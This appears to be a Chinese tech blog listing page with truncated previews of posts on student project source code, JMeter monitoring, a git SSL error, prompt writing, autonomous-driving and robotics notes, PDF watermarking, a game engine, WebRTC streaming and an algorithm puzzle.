[免费]Springboot+Vue医疗(医院)挂号管理系统【论文+源码+SQL脚本】
大家好,我是java1234_小锋老师,看到一个不错的SpringbootVue医疗(医院)挂号管理系统,分享下哈。 项目视频演示 【免费】SpringBootVue医疗(医院)挂号管理系统 Java毕业设计_哔哩哔哩_bilibili 项目介绍 在如今社会上,关于信息上…...
计算机毕业设计PySpark+hive招聘推荐系统 职位用户画像推荐系统 招聘数据分析 招聘爬虫 数据仓库 Django Vue.js Hadoop
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…...
Jmeter+Influxdb+Grafana平台监控性能测试过程
一、Jmeter自带插件监控 下载地址:https://jmeter-plugins.org/install/Install/ 安装:下载后文件为jmeter-plugins-manager-1.3.jar,将其放入jmeter安装目录下的lib/ext目录,然后重启jmeter,即可。 启动Jmeter&…...
fatal: unable to access ‘https://github.com/xxx/‘: SSL peer certificat
从github上clone代码时报错 F:\Projects>git clone https://github.com/xxx into xxx... fatal: unable to access https://github.com/xxx/: SSL peer certificate or SSH remote key was not OK **可能的原因****解决方法****1. 检查系统时间****2. 禁用 SSL 验证…...
Prompt通用技巧
Prompt 的典型构成 角色:给 AI定义一个最匹配任务的角色,比如:「你是一位软件工程师」「你是一位小学老师」指示:对任务进行描述上下文: 给出与任务相关的其它背景信息(尤其在多轮交互中)。例子 : 必要时给出举例,学术中称为 one-shot learning,few-sho…...
ROACH
End-to-End Urban Driving by Imitating a Reinforcement Learning Coach CARLA-Roach ICCV‘21论文:模仿一个强化学习教练的端到端城市驾驶 文章目录 Roach输入BEV语义分割图像测量向量 Roach输出训练策略网络价值网络 具体实现由 Roach 监督的模仿学习(…...
机械臂运动学笔记(一):正向运动学
正向运动学指的是通过相邻关节间的转动和移动坐标,将末端的坐标计算出来。 反向运动学指的是已知机械臂末端的坐标,反算每个关节可能的转动和移动参数。 参考资料:4.机械臂几何法与DH表示法_哔哩哔哩_bilibili 一.任意连杆连接的变量定义&a…...
【DuodooBMS】给PDF附件加“受控”水印的完整Python实现
给PDF附件加“受控”水印的完整Python实现 功能需求 在实际工作中,许多文件需要添加水印以标识其状态,例如“受控”“机密”等。对于PDF文件,添加水印不仅可以增强文件的可识别性,还可以防止未经授权的使用。本代码的功能需求是…...
GitCode 助力 Dora SSR:开启游戏开发新征程
项目仓库(点击阅读原文链接可直达) https://gitcode.com/ippclub/Dora-SSR 跨越技术藩篱,构建游戏开发乐园 Dora SSR 是一款致力于打破游戏开发技术壁垒的开源游戏引擎。其诞生源于开发者对简化跨平台游戏开发环境搭建的强烈渴望࿰…...
Mediamtx+Python读取webrtc流
一、功能思路: 1、我采用ffmpeg -re -stream_loop -1 -i xcc.mp4 -c:v libx264 -profile:v baseline -x264opts "bframes0:repeat_headers1" -b:v 1500k -preset fast -f flv rtmp://127.0.0.1:1835/stream/111推流到mediamtx的rtmp上 2、通过mediamtx自…...
每日一题——矩阵最长递增路径
矩阵最长递增路径问题 题目描述数据范围:进阶要求:示例示例 1示例 2 题解思路算法步骤:代码实现代码解释复杂度分析总结 题目描述 给定一个 n 行 m 列的矩阵 matrix,矩阵内所有数均为非负整数。你需要在矩阵中找到一条最长路径&a…...
